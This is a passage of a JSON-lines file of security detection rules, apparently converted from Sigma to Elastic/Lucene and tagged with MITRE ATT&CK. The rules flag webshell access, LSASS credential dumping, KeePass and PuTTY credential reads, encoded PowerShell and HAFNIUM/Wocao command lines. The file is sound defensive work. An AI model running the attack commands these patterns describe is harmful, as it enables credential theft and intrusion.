OR C\\:\\\\Windows\\\\WinSxS\\\\*)) OR (process.executable.text:*\\\\SystemRoot\\\\System32\\\\*) OR (process.executable.text:(\"C:\\Windows\\explorer.exe\" OR \"C:\\Program Files\\PowerShell\\7\\pwsh.exe\")))) OR ((process.executable.text:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\MicrosoftCorporationII.WindowsSubsystemForLinux* AND process.executable.text:*\\\\wsl.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a windows service to be stopped", "author": ["Jakob Weinzettl", "oscd.community", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Administrator shutting down the service due to upgrade or removal purposes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bfff7f1a-907c-bcbd-8d05-9c1a4ad6d9a8", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Stop Windows Service", "query": "((((((winlog.event_data.OriginalFileName:(\"sc.exe\" OR \"net.exe\" OR \"net1.exe\")) OR (process.executable.text:(*\\\\sc.exe OR *\\\\net.exe OR *\\\\net1.exe))) AND process.command_line.text:*\\ stop\\ *) AND (NOT (process.command_line.text:(\"sc stop KSCWebConsoleMessageQueue\" OR \"sc stop LGHUBUpdaterService\") AND user.name:(*AUTHORI* OR *AUTORI*))))) OR ((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:*Stop\\-Service\\ *)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1489"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1489", "name": "Service Stop", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7fdf3d0d-f864-cb8b-40de-c001dc917bb7", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "WMI Backdoor Exchange Transport Agent", "query": "(process.parent.executable:*\\\\EdgeTransport.exe AND (NOT (process.executable:\"C\\:\\\\Windows\\\\System32\\\\conhost.exe\")))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", "author": ["Max Altgelt"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4862296e-68be-4bb2-e02d-9bd99646d2d1", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Certificate Request Export to Exchange Webserver", "query": "((*New-ExchangeCertificate* AND * -GenerateRequest* AND * -BinaryEncoded* AND * -RequestFile*) AND ((*\\\\\\\\localhost\\\\C$*) OR (*\\\\\\\\127.0.0.1\\\\C$*) OR (*C:\\\\inetpub*) OR (*.aspx*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a ZxShell start by the called and well-known function name", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8fe4a9b1-a258-1508-150d-ea565353b763", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "ZxShell Malware", "query": "(process.executable:*\\\\rundll32.exe AND process.command_line:(*zxFunction* OR *RemoteDiskXXXXX*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8c47bcaa-7f81-ffb9-8db7-5b65132e7213", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Scheduled Cron Task/Job", "query": "(process.executable:*crontab AND process.command_line:*\\/tmp\\/*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8c47bcaa-7f81-ffb9-8db7-5b65132e7213", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Scheduled Cron Task/Job", "query": "(process.executable:*\\/crontab AND process.command_line:*\\/tmp\\/*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ec985c74-1a1e-c71c-4d57-f4902f3206e8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Abusing Azure Browser SSO", "query": "(dll.path:*MicrosoftAccountTokenProvider.dll AND (NOT (process.executable.text:(*\\\\BackgroundTaskHost.exe OR *\\\\devenv.exe OR *\\\\iexplore.exe OR *\\\\MicrosoftEdge.exe OR *\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe OR *\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\OneDrive.exe OR *\\\\msedgewebview2.exe OR *\\\\OneDrive.exe) OR process.executable.text:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\* OR NOT _exists_:process.executable.text)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Den Iuzvyk"], "license": ""}
{"description": "Detects abusing Windows 10 Narrator's Feedback-Hub", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6e70b526-38d4-68f0-974d-e0b25df141bf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Narrator's Feedback-Hub Persistence", "query": "((winlog.event_data.EventType:\"DeleteValue\" AND winlog.event_data.TargetObject:*\\\\AppXypsaf9f1qserqevf0sws76dx4k9a5206\\\\Shell\\\\open\\\\command\\\\DelegateExecute) OR winlog.event_data.TargetObject:*\\\\AppXypsaf9f1qserqevf0sws76dx4k9a5206\\\\Shell\\\\open\\\\command\\\\\$Default\$)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Dmitriy Lifanov", "oscd.community"], "license": ""}
{"description": "Detects access to $ADMIN share", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "24a9f905-2ab8-cb46-a2c2-cca473daa4c1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Access to ADMIN$ Share", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5140\" AND winlog.event_data.ShareName:\"Admin$\") AND (NOT (winlog.event_data.SubjectUserName:*$)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects access to a domain user from a non-machine account", "enabled": false, "false_positives": ["Administrators configuring new users."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "76999ce0-3ece-6a44-3382-5e5b7080ad44", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AD User Enumeration", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4662\" AND winlog.event_data.ObjectType:*bf967aba\\-0de6\\-11d0\\-a285\\-00aa003049e2*) AND (NOT (winlog.event_data.SubjectUserName:*$ OR winlog.event_data.SubjectUserName:MSOL_*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Maxime Thiebaut (@0xThiebaut)"], "license": ""}
{"description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b38c9c41-f06a-4c89-50f1-41970c1f273f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Protected Storage Service Access", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:*IPC* AND winlog.event_data.RelativeTargetName:\"protected_storage\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "646f3c86-cbc6-3523-6fc9-0d4f12cee786", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Oracle WebLogic Exploit", "query": "cs-uri-query:*/config/keystore/*.js*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects access to DEWMODE webshell as described in FIREEYE report", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "a8688d15-a44d-8b76-1fb8-021c83679474", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DEWMODE Webshell Access", "query": "(((cs-uri-query:*?dwn\\=* AND cs-uri-query:*&fn\\=* AND cs-uri-query:*.html?*)) OR ((cs-uri-query:*&dwn\\=* AND cs-uri-query:*?fn\\=* AND cs-uri-query:*.html?*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Access to Domain Group Policies stored in SYSVOL", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a14ae08d-9ed7-eecf-2585-bce4b63efa85", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious SYSVOL Domain Group Policy Access", "query": "(process.command_line:*\\\\SYSVOL\\\\* AND process.command_line:*\\\\policies\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects Access to LSASS Process", "enabled": false, "false_positives": ["Google Chrome GoogleUpdate.exe", "Some Taskmgr.exe related activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2d830ceb-aea8-bba5-19d0-5c4cd2324581", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Access Detected via Attack Surface Reduction", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND (winlog.event_id:\"1121\" AND winlog.event_data.Path:*\\\\lsass.exe) AND (NOT ((process.executable:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable:(*\\\\thor64.exe OR *\\\\thor.exe)) OR (process.executable:(\"C\\:\\\\Windows\\\\System32\\\\atiesrxx.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\CompatTelRunner.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\nvwmi64.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\svchost.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\Taskmgr.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\" OR \"C\\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe\")) OR (process.executable:(C\\:\\\\Windows\\\\System32\\\\DriverStore\\\\* OR C\\:\\\\WINDOWS\\\\Installer\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "26b5a1a7-cbc9-a9bf-fd9c-a36b58655ac6", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Solarwinds SUPERNOVA Webshell Access", "query": "(((cs-uri-query:*logoimagehandler.ashx* AND cs-uri-query:*clazz*)) OR ((cs-uri-query:*logoimagehandler.ashx* AND http.response.status_code:\"500\")))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Accessing to lsass.exe by Powershell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c66aec60-b550-1efa-19be-6d8247e0d88d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Accessing WinAPI in PowerShell for Credentials Dumping", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Sysmon\\/Operational\" AND winlog.event_id:(\"8\" OR \"10\") AND process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND winlog.event_data.TargetImage:*\\\\lsass.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects actions caused by the RedMimicry Winnti playbook", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1d06a4a5-5633-cc49-fe03-81d248013480", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RedMimicry Winnti Playbook Execute", "query": "(process.executable:(*rundll32.exe* OR *cmd.exe*) AND process.command_line:(*gthread\\-3.6.dll* OR *\\\\Windows\\\\Temp\\\\tmp.bat* OR *sigcmm\\-2.4.dll*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1106", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1106", "name": "Native API", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alexander Rausch"], "license": ""}
{"description": "Detects actions caused by the RedMimicry Winnti playbook", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f53c9dfe-759e-4286-1ed7-62d9ddbfc749", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RedMimicry Winnti Playbook Registry Manipulation", "query": "winlog.event_data.TargetObject:*HKLM\\\\SOFTWARE\\\\Microsoft\\\\HTMLHelp\\\\data*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alexander Rausch"], "license": ""}
{"description": "Detects actions that clear the local ShimCache and remove forensic evidence", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e260e543-7e04-a386-ab4d-950944c3914f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "ShimCache Flush", "query": "(process.command_line:*rundll32* AND ((process.command_line:*apphelp.dll* AND process.command_line:(*ShimFlushCache* OR *#250*)) OR (process.command_line:*kernel32.dll* AND process.command_line:(*BaseFlushAppcompatCache* OR *#46*))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", "enabled": false, "false_positives": ["Administrator activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31e8ea66-2bf4-02fc-2d2a-586aa4e9a36a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Reconnaissance Activity", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4661\" AND winlog.event_data.AccessMask:\"0x2d\" AND winlog.event_data.ObjectType:(\"SAM_USER\" OR \"SAM_GROUP\") AND winlog.event_data.ObjectName:S\\-1\\-5\\-21\\-* AND winlog.event_data.ObjectName:(*\\-500 OR *\\-512))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1069", "T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Jack Croock (method)", "Jonhnathan Ribeiro (improvements)", "oscd.community"], "license": ""}
{"description": "Detects activity mentioned in Operation Wocao report", "enabled": false, "false_positives": ["Administrators that use checkadmin.exe tool to enumerate local administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9f165186-083a-dfc0-3aa5-0ecd69395306", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Operation Wocao Activity", "query": "process.command_line.text:(*checkadmin.exe\\ 127.0.0.1\\ \\-all* OR *netsh\\ advfirewall\\ firewall\\ add\\ rule\\ name\\=powershell\\ dir\\=in* OR *cmd\\ \\/c\\ powershell.exe\\ \\-ep\\ bypass\\ \\-file\\ c\\:\\\\s.ps1* OR *\\/tn\\ win32times\\ \\/f* OR *create\\ win32times\\ binPath\\=* OR *\\\\c$\\\\windows\\\\system32\\\\devmgr.dll* OR *\\ \\-exec\\ bypass\\ \\-enc\\ JgAg* OR *type\\ *keepass\\\\KeePass.config.xml* OR *iie.exe\\ iie.txt* OR *reg\\ query\\ HKEY_CURRENT_USER\\\\Software\\\\*\\\\PuTTY\\\\Sessions\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1012", "T1027", "T1036", "T1053", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1036", "name": "Masquerading", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "frack113"], "license": ""}
{"description": "Detects activity mentioned in Operation Wocao report", "enabled": false, "false_positives": ["Administrators that use checkadmin.exe tool to enumerate local administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9f165186-083a-dfc0-3aa5-0ecd69395306", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Operation Wocao Activity", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4799\" AND winlog.event_data.TargetUserName:Administr* AND CallerProcessName:*\\\\checkadmin.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1012", "T1027", "T1036", "T1053", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1036", "name": "Masquerading", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "frack113"], "license": ""}
{"description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1baa5d0-f309-0712-b336-f3ed877dcb09", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange Exploitation Activity", "query": "((process.command_line.text:*attrib* AND process.command_line.text:*\\ \\+h\\ * AND process.command_line.text:*\\ \\+s\\ * AND process.command_line.text:*\\ \\+r\\ * AND process.command_line.text:*.aspx*) OR (process.command_line.text:*schtasks* AND process.command_line.text:*VSPerfMon*) OR (process.command_line.text:*vssadmin\\ list\\ shadows* AND process.command_line.text:*Temp\\\\__output*) OR process.command_line.text:*%TEMP%\\\\execute.bat* OR process.executable.text:*Users\\\\Public\\\\opera\\\\Opera_browser.exe OR (process.executable.text:*Opera_browser.exe AND process.parent.executable.text:(*\\\\services.exe OR *\\\\svchost.exe)) OR process.executable.text:*\\\\ProgramData\\\\VSPerfMon\\\\* OR (process.command_line.text:*\\ \\-t7z\\ * AND process.command_line.text:*C\\:\\\\Programdata\\\\pst* AND process.command_line.text:*\\\\it.zip*) OR (process.executable.text:*\\\\makecab.exe AND process.command_line.text:(*Microsoft\\\\Exchange\\ Server\\\\* OR *inetpub\\\\wwwroot*)) OR process.command_line.text:(*\\\\Temp\\\\xx.bat* OR *Windows\\\\WwanSvcdcs* OR *Windows\\\\Temp\\\\cw.exe*) OR (process.command_line.text:*\\\\comsvcs.dll* AND process.command_line.text:*Minidump* AND process.command_line.text:*\\\\inetpub\\\\wwwroot*) OR (process.command_line.text:*dsquery* AND process.command_line.text:*\\ \\-uco\\ * 